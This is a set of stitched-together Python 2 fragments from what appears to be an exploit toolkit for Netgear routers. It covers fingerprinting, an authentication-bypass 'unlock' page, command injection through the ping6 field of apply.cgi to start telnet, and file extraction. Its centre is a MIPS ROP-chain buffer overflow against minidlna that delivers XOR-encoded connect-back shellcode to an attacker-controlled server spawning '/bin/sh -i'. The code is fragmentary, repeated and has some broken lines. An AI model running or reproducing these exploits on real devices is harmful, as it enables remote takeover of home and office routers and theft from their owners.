def validate_fingerprint(fingerprint_data,logger=None): if not logger: logger=Logging() if fingerprint_data.has_key("Model"): model=fingerprint_data["Model"] logger.LOG_DEBUG("Model: %s" % model) else: logger.LOG_WARN("Couldn't identify model.") return False if not model in KNOWN_MODELS: logger.LOG_WARN("Unknown model: %s" % model) return False if fingerprint_data.has_key("Firmware"): firmware=fingerprint_data["Firmware"] logger.LOG_DEBUG("Firmware: %s" % firmware) else: logger.LOG_WARN("Couldn't indentify firmware.") return False if not firmware in KNOWN_FIRMWARES: logger.LOG_WARN("Unknown firmware version: %s" % firmware) return False return True
def main(command): logger=Logging() logger.LOG_INFO("Bulding overflow.") buf=build_overflow(logger) if command.startswith("find="): find_string=command.split("find=")[1] offset=find_offset(buf,find_string) logger.LOG_INFO("Offset of %s: %d" %(find_string,offset)) sys.exit(0) logger.LOG_INFO("Starting server.") server=ConnectbackServer(CALLBACK_IP,port=8080,logger=logger) pid=server.serve() target_ip=command if pid: try: send_overflow(buf,target_ip,logger) server.wait() except Exception as e: print e server.shutdown() else: logger.LOG_WARN("Failed to start connect-back server.") sys.exit(1) logger.LOG_INFO("Done.")
def inject_command(command,target,port=80,logger=None,https=False): if not logger: logger=Logging() client=HttpClient() protocol="http" if https: protocol="https" url="%s://%s:%d/ping6_traceroute6_hidden_info.htm" % (protocol,target,port) logger.LOG_INFO("Requesting ping6_traceroute6_hidden_info.htm in order to obtain timestamp.") resp=client.send(url) timestamp=extract_timestamp(resp) if timestamp: logger.LOG_DEBUG("Got timestamp: %s" % timestamp) else: logger.LOG_WARN("Couldn't extract timestamp from response.") raise Exception() url="%s://%s:%d/apply.cgi?/ping6_traceroute6_hidden_info.htm" % (protocol,target,port) url+="%20timestamp="+timestamp logger.LOG_DEBUG("URL: %s" % url) post_data={} post_data["submit_flag"]="ping6" post_data["ping6_text"]=command post_data["traceroute6_text"]="" client.send(url,post_data=post_data,urlencode=True)
def relock_target(target,port=80,logger=None,https=False): if not logger: logger=Logging() protocol="http" if https: protocol="https" if not is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target is already locked!") return client=HttpClient() url="%s://%s:%d/BRS_success.html" %(protocol,target,port) logger.LOG_INFO("Requesting BRS_success.html in order to obtain timestamp.") resp=client.send(url) timestamp=extract_timestamp(resp) if not timestamp: logger.LOG_WARN("Couldn't extract timestamp from response.") else: logger.LOG_DEBUG("Timestamp: %s" % timestamp) url=("%s://%s:%d/apply.cgi?/" % (protocol,target,port)+ "BRS_netgear_success.html%20timestamp=" + timestamp) post_data={"submit_flag":"hijack_success", "click_flag":"0"} resp=client.send(url,post_data=post_data,urlencode=True)
def main(target, port=80, protocol="http"): logger = Logging() https = False if protocol == "https": https = True logger.LOG_INFO(STARS) fingerprint_data = fingerprint_netgear_version(target, port=port, https=https) if not validate_fingerprint(fingerprint_data, logger=logger): logger.LOG_WARN("Failed to fingerprint device.") sys.exit(1) logger.LOG_INFO("Device fingerprint successful.") logger.LOG_INFO(STARS) unlock_target(target, port=port, logger=logger, https=https) if is_unlocked(target, port=port, https=https): logger.LOG_INFO("Target unlock successful.") else: logger.LOG_WARN("Target unlock unsuccessful.") sys.exit(1) logger.LOG_INFO(STARS) logger.LOG_INFO("Attempting to inject command: %s" % TELNET_COMMAND) inject_command(TELNET_COMMAND, target, port=port, logger=logger, https=https) logger.LOG_INFO(STARS) logger.LOG_INFO("Relocking target.") relock_target(target, port=port, logger=logger, https=https) if not is_unlocked(target, port=port, https=https): logger.LOG_INFO("Target relock successful.") else: logger.LOG_WARN("Target relock unsuccessful") sys.exit(1)
def parse_options(argv, logger=None): if not logger: logger = Logging() opts, args = getopt.getopt(argv[1:], 'ht:p:c:e:f:F:', [ "help", "target=", "port=", "connectback_ip=", "extract=", "find_offset=", "file=" ]) options = {} for o, a in opts: if o in ("-h", "--help"): usage(0) if o in ("-t", "--target"): logger.LOG_DEBUG("got target: %s" % a) if options.has_key("find_string"): print("Cannot specify remote target with -f.") usage(1) options["target"] = a elif o in ("-p", "--port"): logger.LOG_DEBUG("Got port: %s" % a) if options.has_key("find_string"): print("Cannot specify remote port with -f.") usage(1) options["port"] = int(port) elif o in ("-c", "--connectback_ip"): logger.LOG_DEBUG("got connect-back IP: %s" % a) if options.has_key("extract"): print("Cannot specify connect-back IP with -e.") usage(1) options["connectback_ip"] = a elif o in ("-e", "--extract"): logger.LOG_DEBUG("got extract: %s" % a) if options.has_key("connectback_ip") or options.has_key( "find_offset"): print("Cannot specify extraction with -f or -c.") usage(1) options["extract"] = a elif o in ("-F", "--file"): logger.LOG_DEBUG("Got outfile: %s" % a) if options.has_key("connectback_ip") or options.has_key( "find_offset"): print("Cannot specify extraction with -f or -c.") usage(1) options["outfile"] = a elif o in ("-f", "--find_offset"): logger.LOG_DEBUG("got find value: %s" % a) if options.has_key("extract") or options.has_key("target"): print("Cannot specify -f with -t or -e.") usage(1) options["find_string"] = a else: logger.LOG_WARN("Got unknown option: %s" % o) usage(1) return options
def do_verification(host, port=8200, logger=None): if not logger: logger = Logging() data = albumart_extract(host, "/usr/sbin/minidlna.exe", logger=logger) verifier = MinidlnaVerifier(data) logger.LOG_INFO("MD5 of minidlna binary: %s" % verifier.hexdigest) if verifier.versions: logger.LOG_INFO("\tFirmware version: %s\n\tminidlna version: %s" % (verifier.versions[0], verifier.versions[1])) return True else: logger.LOG_WARN("Minidlna binary did not match known hash.") return False
def main(options): logger=Logging() logger.LOG_INFO("Bulding overflow.") connectback_ip=options["connectback_ip"] buf=build_overflow(connectback_ip,logger=logger) if options.has_key("overflow_file"): logger.LOG_INFO("Writing overflow string to file: %s" % options["overflow_file"]) open(options["overflow_file"],"wb").write(str(buf)) if options.has_key("find_string"): find_string=options["find_string"] offset=find_offset(buf,find_string) logger.LOG_INFO("Offset of %s: %d" %(find_string,offset)) sys.exit(0) logger.LOG_INFO("Starting server.") try: server=ConnectbackServer(connectback_ip,port=8080,logger=logger) pid=server.serve() except Exception as e: logger.LOG_WARN("Failed to start connect-back server: %s" % str(e)) sys.exit(1) if options.has_key("target"): target_ip=options["target"] target_ip=command try: send_overflow(buf,target_ip,logger) server.wait() except Exception as e: print e server.shutdown() else: try: server.wait() except: server.shutdown() logger.LOG_INFO("Done.")
def unlock_target(target,port=80,logger=None,https=False): if not logger: logger=Logging() protocol="http" if https: protocol="https" if is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target is already unlocked.") return else: logger.LOG_INFO("Unlocking target.") client=HttpClient() url="%s://%s:%d/BRS_02_genieHelp.html" % (protocol,target,port) client.send(url) if is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target unlocked!") else: logger.LOG_WARN("Target unlock failed!") raise Exception("Unlock failed.")
def parse_options(argv,logger=None): if not logger: logger=Logging() opts,args=getopt.getopt(argv[1:],'t:c:F:f:',["target=","connectback_ip=","file=","find_offset="]) options={} for o, a in opts: if o in ("-t","--target"): logger.LOG_DEBUG("got target: %s" % a) options["target"]=a elif o in ("-c","connectback_ip"): logger.LOG_DEBUG("got connect-back IP: %s" % a) options["connectback_ip"]=a elif o in ("-F","--file"): logger.LOG_DEBUG("got output file: %s" % a) options["overflow_file"]=a elif o in ("-f","--find_offset"): logger.LOG_DEBUG("got find value: %s" % a) options["find_string"]=a else: logger.LOG_WARN("Got unhandled option: %s" % o) sys.exit(1) return options
msearch_string=msearch_crash.MsearchCrash(buffer_overflow_string) pid=None if len(sys.argv) > 1: search_string=sys.argv[1] if "0x" == search_string[0:2]: search_string_num=int(search_string,0) search_string=struct.pack(">L",search_string_num) offset=buffer_overflow_string.find_offset(search_string) if(offset < 0): print "Couldn't find string %s in the overflow buffer." % search_string else: print "Found string %s at\noffset: %d" % (search_string,offset) else: pid=connectback_server.serve() #sys.stdout.write(str(msearch_string)) if pid: try: logger.LOG_INFO("Sending exploit") send_multicast("239.255.255.250",1900,str(msearch_string)) connectback_server.wait() except Exception as e: print e connectback_server.shutdown() else: logger.LOG_WARN("Failed to start connect-backserver.") sys.exit(1)
def __init__(self, length, connectback_ip, port=8080, logger=None): cls = self.__class__ if not logger: logger = Logging() self.logger = logger logger.LOG_INFO("Building buffer overflow.") ra = 211 s8 = 207 fp = s8 s7 = 203 s6 = 199 s5 = 195 s4 = 191 s3 = 187 s2 = 183 s1 = 179 s0 = 175 SC = SectionCreator(LittleEndian, badchars=cls.BADCHARS, base_address=cls.LIBC_BASE) logger.LOG_INFO("Assembling ROP chain.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x4A558,375)) #This needs to be a pointer that can be dereferenced to another pointer, #which can be incremented to a memory location. #This is a pointer in the .sdata section that points to itself, and is #followed by null bytes and is writable. SC.gadget_section( 375, 0x4A558, description= "Placeholder for passed_args[0]. Passed to strcatf() at 0x0041635C.", base_address=cls.LIBAVUTIL_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,151)) #This needs to be any readable memory location. #This points to the string "November" in libc's read-only data section. SC.gadget_section( 151, 0x0005367A, description= "Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", base_address=cls.LIBC_BASE) # SC.gadget_section(151,0x126DB0, # description="Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", # base_address=cls.LIBAVCODEC_BASE) # # SC.gadget_section(159,0x126db4, # description="Pointer to nul bytes.Placeholder for argument to vsnprintf()", # base_address=cls.LIBAVCODEC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,103)) #Pointer to "November" in libc SC.gadget_section( 103, 0x0005367A, description= "Placeholder for 'mime' stack hazard. Passed to strcatf() in $a2 at 0x0041644C", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,163)) #Pointer to "November" in libc SC.gadget_section( 163, 0x0005367A, description= "Placeholder from 'detailID stack hazard. Passed to strcatf() in var_110 at 0x41644c", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1ca490b,391)) SC.gadget_section( 391, 0x1ca490b, description= ("Arbitrary number that gets transformed into a pointer that can be dereferenced.\n" + "Ultimately Passed to strcatf() in var_118 at 0x41644c"), base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x07EC80,363)) SC.gadget_section( 363, 0x07EC80, description= "Placeholder for stack hazard. Pointer to this address passed to strcatf() at 0x415064.", base_address=cls.LIBAVFORMAT_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0xFFF80BE0,367)) SC.gadget_section( 367, 0xFFF80BE0, description= "Placeholder, than when added to the libavformat's .sdata pointer, will result in a pointer into libsqlite's data segment.", base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1D95C,ra)) # .text:0001D95C move $t9, $s1 # .text:0001D960 lw $ra, 0x28+var_4($sp) # .text:0001D964 lw $s2, 0x28+var_8($sp) # .text:0001D968 lw $s1, 0x28+var_C($sp) # .text:0001D96C lw $s0, 0x28+var_10($sp) # .text:0001D970 jr $t9 # .text:0001D974 addiu $sp, 0x28 SC.gadget_section( ra, 0x1D95C, description= "[ra] Stage stack data into $ra for return from sleep(), jr $s1.", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x43884,s1)) # .text:00043884 move $t9, $s0 # .text:00043888 li $a0, 2 # .text:0004388C lw $s0, 0x20+var_8($sp) # .text:00043890 li $a1, 1 # .text:00043894 move $a2, $zero # .text:00043898 jr $t9 # .text:0004389C addiu $sp, 0x20 SC.gadget_section( s1, 0x43884, description="[s1] Stage 2 sec arg to sleep(), jr $s0") #new register offsets (As a result #of $ra gadget, but before $s1 gadget is loaded by $ra gadget): ra = 251 s2 = 247 s1 = 243 s0 = 239 # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s0)) #Stage sleep() in $s0 SC.gadget_section( s0, 0x000506C0, description= "[s0] Address of sleep(). Next gadget jumps to this address.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s2)) SC.gadget_section( s2, 0x000506C0, description= "[s2] A pointer that can be dereferenced with out crashing the next gadget." ) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x427A8,ra)) # .text:000427A8 addiu $s0, $sp, 0xE0+var_C0 # .text:000427AC lw $a0, 0($s2) # .text:000427B0 move $a1, $s1 # .text:000427B4 move $a2, $s4 # .text:000427B8 move $t9, $s6 # .text:000427BC jalr $t9 # .text:000427C0 move $a3, $s0 SC.gadget_section( ra, 0x427A8, description= "[ra] Stackfinder. stage 0xE0+var_C0+$sp in $s0, jalr $s6.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x10938,s6)) # (Start one instruction early because 3c is a bad byte.) # .text:00010938 la $t9, free # .text:0001093C move $t9, $s0 # .text:00010940 jalr $t9 # .text:00010944 move $a0, $s2 SC.gadget_section(s6, 0x10938, description="[s6] Stackjumper. jalr $s0.") logger.LOG_INFO("Adding trampoline 1 at offset 319.") trampoline_1 = Trampoline(LittleEndian, -310) SC.string_section( 319, trampoline_1.shellcode, description="Trampoline back to beginning of buffer.") logger.LOG_INFO("Adding trampoline 2 at offset 11.") trampoline_2 = Trampoline(LittleEndian, 1028) SC.string_section(11, trampoline_2.shellcode, description="Trampoline forward to trampoline 3.") #trampoline_3=Trampoline(LittleEndian,-618) #SC.string_section(1043,trampoline_3.shellcode, # description="Trampoline back to payload.") logger.LOG_INFO("Generating connect-back payload.") payload = ConnectbackPayload(connectback_ip, LittleEndian, port=port) try: logger.LOG_INFO("Attempting to XOR encode payload.") encoded_payload = MipsXorEncoder(payload, logger=logger, badchars=cls.BADCHARS) except EncoderException as e: logger.LOG_WARN("%s" % str(e)) raise DLNAOverflowException("Payload generation failed.") self.logger.LOG_DEBUG("Length of encoded shellcode: %d" % len(encoded_payload.shellcode)) logger.LOG_INFO("Adding encoded payload at offset 1043.") #offset 427 with 3trampolines. 1043 with only 2 trampolines SC.string_section( 1043, encoded_payload.shellcode, description="XOR encoded connect-back shell to ip:port %s:%d" % (connectback_ip, port)) self.buf = OverflowBuffer(LittleEndian, length, SC.section_list) logger.LOG_INFO("Finished generating overflow string.")
except Exception as e: print str(e) sys.exit(1) """ dlna_overflow = WNDR3700_class(callback_ip, callback_port, target_ip, encode=True, logger=logger) dlna_overflow.overflow_data.print_section_descriptions() null_offsets = dlna_overflow.scan_for_nulls() if len(null_offsets) != 0: logger.LOG_WARN("found null bytes at offsets: %s" % str(null_offsets)) print str(dlna_overflow.overflow_data) exit(1) else: logger.LOG_INFO("found no null bytes.") clear_overflow_data() insert_overflow_data(dlna_overflow.chunks(128)) server = dlna_overflow.connectback_server server.serve() time.sleep(2) logger.log_msg_start("Attempting to trigger exploit....") logger.log_msg_end("Have a nice day!")
def main(options, logger=None): outfile = None path = None connectback_ip = None port = None host = None if not logger: logger = Logging() try: port = options["port"] except KeyError: port = 8200 try: connectback_ip = options["connectback_ip"] except KeyError: pass try: host = options["target"] except KeyError: pass try: path = options["extract"] except KeyError: pass if path: try: outfile = options["outfile"] host = options["target"] # logger.LOG_DEBUG("main() got path=%s" % path) albumart_extract(host, path, outfile=outfile, logger=logger) exit(0) except KeyError: print( "File extraction requires a remote path, local file, and target IP address." ) usage(1) if connectback_ip: try: logger.set_max_log_level(Logging.INFO) buf = DLNA_Overflow(1536, connectback_ip, logger=logger).buf logger.set_max_log_level(Logging.DEBUG) except DLNAOverflowException as e: logger.LOG_WARN("%s" % str(e)) exit(1) try: find_str = options["find_string"] logger.LOG_INFO("Finding offset of %s" % find_str) find = find_str if find_str.startswith("0x"): find = int(find_str, 16) offset = buf.find_offset(find) logger.LOG_INFO("Offset: %s" % offset) exit(0) except KeyError: pass if not host: print("Remote exploitation requires a target IP address.") usage(1) else: print( "No file extraction, overflow search string, or remote target was provided." ) usage(1) if not do_verification(host, port=port, logger=logger): exit(1) server = ConnectbackServer(connectback_ip, startcmd="/bin/sh -i") server.serve() try: do_overflow(host, buf, port=port, logger=logger) except Exception as e: server.shutdown() raise e server.wait()
offset = buf.find_offset(search_value) if (offset < 0): print "Couldn't find string %s in the overflow buffer." % search_string else: print "Found string %s at\noffset: %d" % (search_string, offset) exit(0) addr = sys.argv[1] port = int(sys.argv[2]) connectback_server = ConnectbackServer(CALLBACK_IP, startcmd="/bin/sh -i") #Or non-interactive exploitation: #connectback_server=ConnectbackServer(connectback_host,startcmd="/usr/sbin/telnetd -p 31337",connectback_shell=False) pid = connectback_server.serve() time.sleep(1) if pid: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((addr, port)) logger.LOG_INFO("sending exploit.") sock.send(str(buf)) sock.close() connectback_server.wait() except Exception as e: logger.LOG_WARN("Failed to connect. ") logger.LOG_WARN("Failed to connect. Killing connect-back server.") connectback_server.shutdown() else: logger.LOG_WARN("Failed to start connect-back server.") sys.exit(1)
buf.print_section_descriptions() print buf.pretty_string() logger.LOG_INFO("Offet of \"u3Au4\": %d" % buf.find_offset("u3Au4")) logger.LOG_INFO("Creating second emtpy overflow buffer") buf2=EmptyOverflowBuffer(BigEndian,badchars=['A','B','6']) try: buf2.add_pattern(128) except Exception as e: logger.LOG_WARN("Failed to add section.") logger.LOG_WARN(str(e)) try: buf2.add_string('A'*128) except Exception as e: logger.LOG_WARN("Failed to add section.") logger.LOG_WARN(str(e)) try: buf2.add_rop_gadget(0x4dc46fa0) except Exception as e: logger.LOG_WARN("Failed to add section.") logger.LOG_WARN(str(e)) try: